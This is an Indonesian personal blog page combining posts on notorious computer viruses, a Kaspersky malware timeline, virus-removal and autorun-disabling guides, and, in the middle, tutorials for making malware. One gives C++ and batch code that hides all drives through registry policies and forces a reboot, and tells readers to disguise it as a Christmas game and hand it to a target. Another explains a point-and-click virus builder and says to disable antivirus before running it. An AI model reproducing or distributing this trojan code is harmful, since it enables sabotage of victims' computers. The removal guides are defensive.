Headline News:

Virus Internet Yang Pernah Menggemparkan

Ada banyak sekali virus di dunia maya ini namun ada beberapa virus internet yang menggemparkan dalam dekade terakhir. Pengunjung infoxspot, Tanggal 9 Juli kemarin, netizen dibikin heboh dengan langkah FBI untuk memadamkan seluruh jaringan internet yang terkena virus malware DNSChanger. Peristiwa 9 Juli tersebut disebut "Kiamat Internet". Nyatanya, kiamat internet atau internet doomsday tersebut adalah isu belakang.



Sebagian orang menganggap peristiwa tersebut adalah hoax, dan sebagian ada yang percaya, mengikuti prosedur yang dikeluarkan oleh sumber tertentu. Berikut adalah virus Internet yang menggemparkan dunia.

1. Virus Mellisa
Virus yang menggemparkan tahun 90an ini berhasil melumpuhkan perusahaan raksasa Lucent, Intel dan Microsoft. Akibatnya, ketiga perusahaan tersebut mematikan sementara fitur emailnya. Virus yang dibuat oleh David L Smith ini pertama diketahui 26 Maret 1999. Virus Mellisa melumpuhkan email klien sehingga tidak dapat digunakan, karena dipenuhi dengan email ganda yang diterima dan dikirim komputer yang terinfeksi.


2. Y2K
Menurut wikipedia, masalah Tahun 2000 (bahasa Inggris: Year 2 Kilo (Y2K)) adalah salah perhitungan komputer akibat sistem penyimpanan tanggal yang hanya menyediakan dua digit untuk tahun, dengan asumsi bahwa kedua digit pertama adalah “19″. Hal ini dilakukan pada tahun 60-an ketika komputer pertama dirancang untuk menghemat media penyimpan, tapi ketika tahun baru 2000 tiba, komputer dapat menunjukkan tanggal yang berubah dari 31 Desember 1999 ke 1 Januari 1900.


Kesalahan ini dikhawatirkan akan menyebabkan bencana besar karena komputer juga digunakan untuk mengatur fasilitas-fasilitas penting seperti PLTN dan pesawat terbang. Sebagai akibatnya banyak perusahaan di seluruh dunia mengadakan pembaharuan di bidang komputer, baik perangkat lunak maupun perangkat keras. Walau ada beberapa masalah di sistem, namun bencana besar yang ditakutkan tidak benar-benar terjadi.


3. Virus 'I Love You'
Mungkin netizen masih ingat dengan virus menjengkelkan ini. Nama virus ini berasal dari email yang diterima pengguna. Email yang berisi virus ini terdiri dari lampiran yang mengatakan “LOVE-LETTER-FOR-YOU.TXT.vbs”. Jika diaktifkan, worm komputer menimpa semua file pada host, menyerang salinan dirinya ke setiap file. Virus ini mencapai puncaknya tanggal 4 Mei 2000. Virus ‘romantis’ ini telah menginfeksi 55 juta komputer dan menyebabkan kerugian hingga miliaran dolar.



4. Conficker April Mop
Virus yang diambil namanya dari April Mop ini, tepatnya menyebar pada 1 April 2009 dan mampu menginfeksi hingga 9 sampai 15 juta komputer. Ancaman virus ini sempat bikin heboh di negara-negara yang akrab dengan tradisi April Mop. Virus conficker April Mop ini mengeksploitasi celah keamanan RPC Dcom MS 08-067 secara de facto telah membuat pusing semua pengguna komputer di seluruh dunia.


5. Virus Email "Here You Have"
Virus ini telah melahirkan satu hari tergelap bagi pengguna internet. Pasalnya, pengguna mendapatkan email dengan subject ‘Here You Have’, yang ternyata saat dibuka adalah berisi virus. Email menyebar ke seluruh dunia, ‘memukul’ jaringan organisasi besar seperti Disney, NASA, Comcast, AIG dan Proctor & Gamble. Meski tidak berbahaya, namun virus ini telah menyerang perusahaan-perusahaan besar.


15 Virus Komputer Paling Berbahaya dalam Sejarah



Perusahaan keamanan komputer Kaspersky Lab, dalam ulang tahunnya yang ke-15, mengingatkan kembali mengenai 15 virus komputer paling berbahaya dan kompleks yang telah menyerang jaringan komputer di dunia.

Berikut 15 virus berbahaya paling berpengaruh dalam sejarah, sebagaimana disampaikan Kaspersky dalam siaran persnya, Selasa (17/7/2012):



  • 1986, Brain, virus PC yang pertama muncul: virus ini menyebar dengan menuliskan kodenya pada boot sector atau floppy disk.
  • 1988, worm Morris menginfeksi sekitar 10 persen komputer yang tersambung ke internet (sekitar 6.000 komputer).
  • 1992, Michelangelo, virus pertama yang menarik perhatian media secara masif.
  • 1995, Concept, virus makro pertama.
  • 1999, Melissa, mengawali era e-mail massal malware yang mengakibatkan epidemik global.
  • 2003, Slammer, worm fileless *tanpa file), mengakibatkan epidemik masif di seluruh dunia.
  • 2004, Cabir: Proof-of-Concept for Symbian yang pertama; disebarkan melalui Bluetooth.
  • 2006, Leap, virus pertama Mac OSX
  • 2007, Worm Storm [Zhelatin] memelopori penggunaan distributed C&C server.
  • 2008, Koobface, malware pertama yang menjadikan Facebook sebagai targetnya.
  • 2008, Conficker, salah satu epidemik terbesar dalam sejarah, menginfeksi perusahaan, pengguna rumahan dan pemerintah di lebih dari 200 negara.
  • 2010, FakePlayer, Trojan SMS pada Android.
  • 2010, Stuxnet, penyerangan bertarget pada sistem SCADA [Supervisory Control and Data Acquisition]; menandai munculnya era perang cyber
  • 2011, Duqu, Trojan canggih yang mengumpulkan intelijen mengenai targetnya
  • 2012, Flame, program berbahaya sangat canggih yang secara aktif digunakan sebagai senjata cyber untuk menyerang entitas di beberapa negara.

Kaspersky Lab didirikan di bawah kepemimpinan Eugene Kaspersky dan co-founder. Berawal dari hanya 20 karyawan pada tahun 1997, Kaspersky Lab berkembang menjadi perusahaan keamanan privat terbesar dunia, dengan lebih dari 2.400 karyawan di sekitar 200 negara di seluruh dunia.

Kaspersky Lab mengembangkan konten keamanan dan solusi manajemen ancaman, menyediakan keamanan IT untuk lebih dari 300 juta pengguna di seluruh dunia, termasuk lebih dari 200.000 perusahaan.

Dengan tingkat kepakaran timnya, Kaspersky Lab mengklaim baru-baru ini berhasil mengungkap beberapa malware paling kompleks yang pernah ada di dunia, seperti Cabir, Duqu, dan yang paling terkenal, malware Flame.

"Lima belas tahun adalah waktu yang lama untuk berada dalam bisnis yang sama. Namun, percaya atau tidak, saya masih menyukainya. Saya cinta tim ini dan saya cinta pekerjaan saya."

"Dalam 15 tahun terakhir kami bekerja sepanjang waktu setiap hari, menganalisis dan menghadapi segala jenis ancaman IT yang telah berevolusi dalam rentang waktu tersebut mulai dari hooliganisme cyber, penjahat cyber, sampai ke perang cyber.

"Yang terpenting saat ini adalah bekerja sama menghadapi ancaman digital. Serangan terkini seperti Stuxnet, Duqu, dan Flame telah menunjukkan seberapa rapuhnya infrastruktur IT terhadap ancaman militer dan teroris." 

"Namun, kami berusaha sekuat kami demi mencegah potensi kerusakan yang bisa terjadi akibat dari penyerangan seperti ini,” ujar Eugene Kaspersky, CEO dan co-founder Kaspersky Lab.

KOMPAS.com 

Cara Menghapus Virus Shortcut



Berikut 8 langkah praktis untuk mendepak virus yang mampu mengubah folder yang ada di dalam USB flash disk menjadi shortcut tersebut:

1. Nonaktifkan ‘System Restore’ untuk sementara selama proses pembersihan.

2. Putuskan komputer yang akan dibersihkan dari jaringan.

3. Matikan proses virus yang aktif di memori dengan menggunakan tools ‘Ice Sword’. Setelah tools tersebut terinstal, pilih file yang mempunyai icon ‘Microsoft Visual Basic Project’ kemudian klik ‘Terminate Process’. Silahkan download tools tersebut di http://icesword.en.softonic.com/


4. Hapus registri yang sudah dibuat oleh virus dengan cara:
-. Klik menu [Start]
-. Klik [Run]
-. Ketik REGEDIT.exe, kemudian klik tombol [OK]
-. Pada aplikasi Registry Editor, telusuri key [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run]
-. Kemudian hapus key yang mempunyai data [C:\Document and Settings\%user%].

5. Disable autoplay/autorun Windows. Copy script di bawah ini pada program notepad kemudian simpan dengan nama REPAIR.INF, install file tersebut dengan cara: Klik kanan REPAIR.INF –> INSTALL



  • [Version]
  • Signature=”$Chicago$”
  • Provider=Vaksincom
  • [DefaultInstall]
  • AddReg=UnhookRegKey
  • DelReg=del
  • [UnhookRegKey]
  • HKLM, Software\CLASSES\batfile\shell\open\command,,,”"”%1″” %*”
  • HKLM, Software\CLASSES\comfile\shell\open\command,,,”"”%1″” %*”
  • HKLM, Software\CLASSES\exefile\shell\open\command,,,”"”%1″” %*”
  • HKLM, Software\CLASSES\piffile\shell\open\command,,,”"”%1″” %*”
  • HKLM, Software\CLASSES\regfile\shell\open\command,,,”regedit.exe “%1″”
  • HKLM, Software\CLASSES\scrfile\shell\open\command,,,”"”%1″” %*”
  • HKCU, Software\Microsoft\Windows\CurrentVersion\Policies\Explorer, NoDriveTypeAutoRun,0x000000ff,255
  • HKLM, SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer, NoDriveTypeAutoRun,0x000000ff,255

6. Hapus File induk dan file duplikat yang dibuat oleh virus termasuk di flash disk. Untuk mempercepat proses pencarian, Anda dapat menggunakan fungsi ‘Search’. Sebelum melakukan pencarian sebaiknya tampilkan semua file yang tersembunyi dengan mengubah pada setting Folder Options.

Jangan sampai terjadi kesalahan pada saat menghapus file induk maupun file duplikat yang telah dibuat oleh virus. Lalu hapus file induk virus yang mempunyai ciri-ciri:

-. Icon ‘Microsoft Visual Basic Project’.
-. Ukuran File 128 KB (untuk varian lain akan mempunyai ukuran yang bervariasi).
-. Ekstesi file ‘.EXE’ atau ‘.SCR’.
-. Type file ‘Application’ atau ‘Screen Saver’.

Kemudian hapus File duplikat shortcut yang mempunyai ciri-ciri:


>. Icon Folder atau icon
>. Ekstensi .LNK
>. Type File ‘Shortcut’
>. Ukuran file 1 KB

Hapus juga file yang .DLL (contoh: ert.dll) dan file Autorun.inf di flash disk atau folder yang di-share. Sementara untuk menghindari virus tersebut aktif kembali, hapus file induk yang mempunyai ekstensi EXE atau SCR terlebih dahulu baru kemudian hapus file Shortcut (.LNK).

7. Tampilkan kembali folder yang telah disembunyikan oleh virus. Untuk mempercepat proses tersebut, silahkan download tools UnHide File and Folder di http://www.flashshare.com/bfu/download.html.

Setelah diinstall, pilih direktori [C:\Documents and settings] dan folder yang ada di flash disk dengan cara menggeser ke kolom yang sudah tersedia. Pada menu [Attributes] kosongkan semua pilihan yang ada, kemudian klik tombol [Change Attributes].

8. Install security patch ‘Microsoft Windows Shell shortcut handling remote code execution vulnerability-MS10-046′. Silakan download security patch tersebut di http://www.microsoft.com/technet/security/Bulletin/MS10-046.mspx

Seperti biasa, untuk pembersihan secara optimal dan menecegah infeksi ulang, sebaiknya install dan scan dengan antivirus yang up-to-date dan sudah dapat mendeteksi virus ini dengan baik.

Original source: vaksin[dot]com & detikinet[dot]com






Membuat Virus Menyembunyikan Semua Drive Harddisk



VERSI PERTAMA

Yang pertama dibutuhkan adalah:

  1. Compiler C++ untuk membuat aplikasi yang bisa di executable.
  • #include < windows.h >
  • #include < fstream.h >
  • #include < iostream.h >
  • #include < string.h >
  • #include < conio.h >
  • int main()
  • {
  • ofstream write ( “C:\\WINDOWS\\system32\\SembunyikanHarddisk.bat” );
  • write << “REG ADD HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVer sion\\policies\\Explorer /v NoDrives /t REG_DWORD /d 12\n”; write << “REG ADD HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVer sion\\policies\\Explorer /v NoViewonDrive /t REG_DWORD /d 12\n”; write<<”shutdown -r -c \”Sorry Your System Is Infected by RYB-ART Virus!\” -f”<<”\n”; write.close(); //close file ShellExecute(NULL,”open”,”C:\\WINDOWS\\system32\\SembunyikanHarddisk.bat “,NULL,NULL,SW_SHOWNORMAL); return 0; }

 Simpanlah file tersebut dengan “.cpp” extension, misalkan: “virusharddisk.cpp
Kemudian compile virusharddisk.cpp menjadi file yang bisa di execute, misal: “virusharddisk.exe
Setelah itu manipulasi virusharddisk.exe tersebut menjadi “supergame-natal.exe

VERSI KEDUA


Yang perlu anda persiapkan adalah Notepad.
Kemudian buatlah file command executable dengan format .bat (Windows Command Executable)
Berikut codenya:


  • REG ADD HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVer sion\\policies\\Explorer /v NoDrives /t REG_DWORD /d 12\n
  • REG ADD HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVer sion\\policies\\Explorer /v NoViewonDrive /t REG_DWORD /d 12\n
  • shutdown -r -c \”Sorry Your System Is Infected By RYB-ART Virus!\” -f


Simpanlah file tersebut dengan nama “virusharddisk.bat“, kemudian ubahlah nama filenya dengan nama “game-natal.bat

Kemudian berikan ke target anda, kalo target anda menjalankan.. ya Target anda ke infect deh.

NB: JANGAN SEKALI-KALI MENJALANKAN DI KOMPUTER ANDA SENDIRI, KALAU DIJALANKAN DI KOMPUTER SENDIRI JADI NYA SENJATA MAKAN TUAN 



Membuat Virus Menggunakan TeraBIT


1. Informasi Software :

  • Software ini dibuat oleh orang Iran. berita tersebut juga belum pasti kebenarannya, tetapi saya mencoba search di google.com dan saya mendapat info yang menyebutkan bahwa software TeraBit Virus Maker adalah asli buatan Iran, dan itu pun dalam versi 3.1 . Dalam versi 3.1 sampai yang sebelumnya, software ini belum support untuk Windows 7, hanya support pada Sistem Operasi sebelum Windows 7, seperti: Windows XP,Vista. Disini saya memiliki Software TeraBit Virus Maker versi 3.2 yang telah support dengan Windows 7.
2. Fungsi Software:
  • Software ini berfungsi untuk membuat virus secara instan dengan kemampuan yang bisa kita pilih sendiri sehingga user dapat menggunakannya dengan mudah dan cepat. Di dalam software tersebut telah disediakan fitur-fitur yang bisa kita gunakan dalam pembuatan virus, ada 54 fitur yang bisa kita gunakan, saya hanya akan menyebutkan 15 fitur saja dan untuk fitur yang lain bisa dilihat di gambar. 15 fitur itu adalah:
  1. Avoid Opening Calculator
  2. Avoid Opening Copy,Move Window
  3. Avoid Opening Gpedit
  4. Avoid Opening Media Player
  5. Avoid Opening Mozzila Firefox
  6. Avoid Opening MsConfig
  7. Avoid Opening Notepad
  8. Avoid Opening Wordpad
  9. Avoid Opening Yahoo Messenger
  10. Add 30 User Accounts to Windows
  11. Always Clean Clipboard
  12. Always Log Off
  13. Close Internet Explorer Every 10 sec
  14. Delete All Files In Desktop
  15. Delete All Files In My Documents
File virus ini ber-ekstensi *.exe . Jadi, ketika file virus ini dieksekusi, maka fitur-fitur yang telah ditambahkan, akan berjalan dan mengubah pengaturan system computer anda sesuai dengan fitur yang anda pilih.

Dan ada item-item yang bisa digunakan untuk melengkapi kesempurnaan dari virus yang anda buat, seperti:
  • Binder berfungsi untuk mengeksekusi/menjalankan file yang kita kaitkan dengan virus yang anda buat, file yang bisa dikaitkan bisa dalam format apa saja, sperti file gambar, file word, exel, powerpoint, music, notepad, dan lain-lain.
  • Fake Error Message berfungsi untuk memunculkan pesan palsu yang kita buat sendiri, dan sub-itemnya ada title, message, dan type. Title isi judul pesan, Message isi dengan pesan kalian sendiri, dan type, pilih tipe yang anda inginkan.
  • Run Custom Command (ini belum saya coba sebelumnya)
  • Add [ ] fake KB(s) to virus berfungsi untuk menambahkan kapasitas palsu ke dalam file virus tersebut.
  • File name after install adalah file yang sebenarnya berjalan, saat file palsu tersebut dieksekusi, disana terdapat tipe/ekstensi *.exe yang bisa digunakan.
  • File Icon adalah item yang digunakan untuk memilih icon file virus tersebut.
  • File Name adalah item yang digunakan untuk memberi nama pada file tersebut.
  • Run Virus with Windows adalah item yang berfungsi untuk menjalankan file pada windows.
  • [R] adalah tombol reset, untuk mereset ulang pengaturan yang telah dipilih ke pengaturan defaultnya
  • Create Virus berfungsi untuk membuat file virus yang telah kita rancang sebelumnya.
3. Cara Menggunakan Software :
  1. Install deepfreeze untuk menjaga agar komputer anda aman.
  2. Disable Antivirus anda, karena software ini dianggap sebagai virus oleh antivirus.
  3. Jalankan Software tVirusMaker.exe
  4. Pilih/ceklist fitur-fitur yang telah disediakan dan pilih item-item yang akan digunakan.
  5. Terakhir anda klik Create Virus dan simpan ke direktori anda.
  6. File virus siap dijalankan.
Download Software TeraBIT :  
Password : 

Tampilkan Hidden File & Folder

Pernah file dan/atau folder-folder kamu hilang karena komputer terserang virus?  Tidak perlu panik dulu. Artikel kali ini akan membahas tutorial bagaimana mengembalikan file dan folder yang “hilang” (sebenarnya hanya ter-hidden alias disembunyikan) oleh virus pada windows. Meski kasus ini sudah lama ada, virus-virus baru masih saja hobi mengulangi kasus meng-hidden file seperti ini.



Perlu ditekankan bahwa file dan folder yang bisa dikembalikan menjadi normal adalah file atau folder yang “hanya” disembunyikan oleh virus. File dan folder yang benar-benar hilang atau terhapus tidak bisa dikembalikan lagi, kecuali menggunakan sistem restore.

Okeh, kita mulai tutorial bagaimana menampilkan kembali file dan folder yang di-hidden oleh virus:

  1. Start > Run > Notepad


Copy Paste-kan :

Code:


Windows Registry Editor Version 5.00
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced]
“ServerAdminUI”=dword:00000000
“Hidden”=dword:00000001
“ShowCompColor”=dword:00000001
“HideFileExt”=dword:00000001
“DontPrettyPath”=dword:00000000
“ShowInfoTip”=dword:00000001
“HideIcons”=dword:00000000
“MapNetDrvBtn”=dword:00000000
“WebView”=dword:00000001
“Filter”=dword:00000000
“SuperHidden”=dword:00000001
“SeparateProcess”=dword:00000000
“ListviewAlphaSelect”=dword:00000001
“ListviewShadow”=dword:00000001
“ListviewWatermark”=dword:00000001
“TaskbarAnimations”=dword:00000001
“StartMenuInit”=dword:00000002
“StartButtonBalloonTip”=dword:00000002
“TaskbarSizeMove”=dword:00000000
“TaskbarGlomming”=dword:00000000
“NoNetCrawling”=dword:00000000
“FolderContentsInfoTip”=dword:00000001
“FriendlyTree”=dword:00000001
“WebViewBarricade”=dword:00000000
“DisableThumbnailCache”=dword:00000000
“ShowSuperHidden”=dword:00000001
“ClassicViewState”=dword:00000000
“PersistBrowsers”=dword:00000000
“Start_LargeMFUIcons”=dword:00000001
“Start_MinMFU”=dword:00000006
Save file dgn nama : showhiddenfiles.reg

2. Start > Run > Notepad

Copy Paste-kan :

Code:

Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\NOHIDDEN]
“RegPath”=”Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Advanced”
“Text”=”@shell32.dll,-30501″
“Type”=”radio”
“CheckedValue”=dword:00000002
“ValueName”=”Hidden”
“DefaultValue”=dword:00000000
“HKeyRoot”=dword:80000001
“HelpID”=”shell.hlp#51104″


Save file dengan nama : nohidden.reg


 3. Start > Run > Notepad
Copy Paste-kan :

Code:

Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL]
“RegPath”=”Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Advanced”
“Text”=”@shell32.dll,-30500″
“Type”=”radio”
“CheckedValue”=dword:00000001
“ValueName”=”Hidden”
“DefaultValue”=dword:00000002
“HKeyRoot”=dword:80000001
“HelpID”=”shell.hlp#51105″
Save file dgn nama : showall.reg

Setelah 3 file tersebut diatas jadi, klik satu persatu mulai dr no. 1 s/d 3 ( Pilih “Yes” )


  • NB : Simpan file ( .REG ) ini baik2, dan apabila suatu nanti file & folder anda di-hidden lg oleh virus, anda dpt menggunakannya kembali
  • Okay :D

Melindungi Komputer Dari Virus Flashdisk

Setiap saat kita menghubungkan komputer dengan removable-media seperti flashdisk, memory card ataupun CD/DVD, maka jendela autorun Windows akan tampil di layar komputer secara otomatis. Sebenarnya fungsi tersebut bertujuan untuk memudahkan user, karena menyediakan beberapa menu seperti membuka folder, memainkan video/music (jika berupa terdapat file multimedia, dsb.



Akan tetapi, fungsi tersebut bisa jadi berbahaya bagi keamanan komputer. Selain internet, media eksternal merupakan sarana penyebaran virus terbesar. Ketika sebuah media penyimpanan eksternal yang mengandung virus terhubung pada komputer dan Anda langsung membukanya menggunakan menu ‘Open files to view files’ yang ada pada autorun Windows, maka virus langsung masuk ke sistem komputer Anda. Terlebih virus-virus yang bisa aktif secara otomatis seperti Autorun.inf dan kawan-kawannya.

Bagaimana cara mengatasinya? Tentu saja dengan menekan tombol ‘cancel’ setiap kali jendela autorun muncul, atau lebih mudah lagi jika Anda menonaktifkan fitur autorun pada Windows Anda. Men-disable fitur autorun Windows memang sangatlah disarankan demi keamanan komputer dari penyebaran virus melalui media-media eksternal.
Menonaktifkan Fitur Autorun pada Windows

Langkah Pertama:
Buka jendela dialog Run melalui Start Menu atau dengan cara tekan tombol Windows + R pada keyboard. Setelah jendela Run terbuka, ketika gpedit.msc dan klik OK.


Setelah itu, jendela Local Group Policy Editor akan tampil di layar komputer.


Langkah 2:
Pada jendela Local Group Policy Editor, klik Computer Configuration –> Administrative Templates –> Windows Components. Di bawahnya Anda akan menemukan AutoPlay Policies. Di situlah letak pengaturan fitur Autorun Windows.



Langkah 3:
Pada bagian kanan AutoPlay Policies, klik kanan pada Turn off AutoPlay, dan pilih Edit. Kemudian pada jendela baru yang muncul, pilih Enabled.




Klik tombol Apply dan OK untuk menyelesaikannya.
Sekarang fitur Autorun tidak akan muncul lagi di komputer Anda setiap saat Anda menghubungkannya media/drive eksternal.


c: binus

Diberdayakan oleh Blogger.

ARTIKEL RYB-ART

Artikel Lainnya

Artikel Lainnya »
 
this is RYB ART | Site Meter
Copyright © 2012. RIZKY YANDA BAHRI ART COM - All Rights Reserved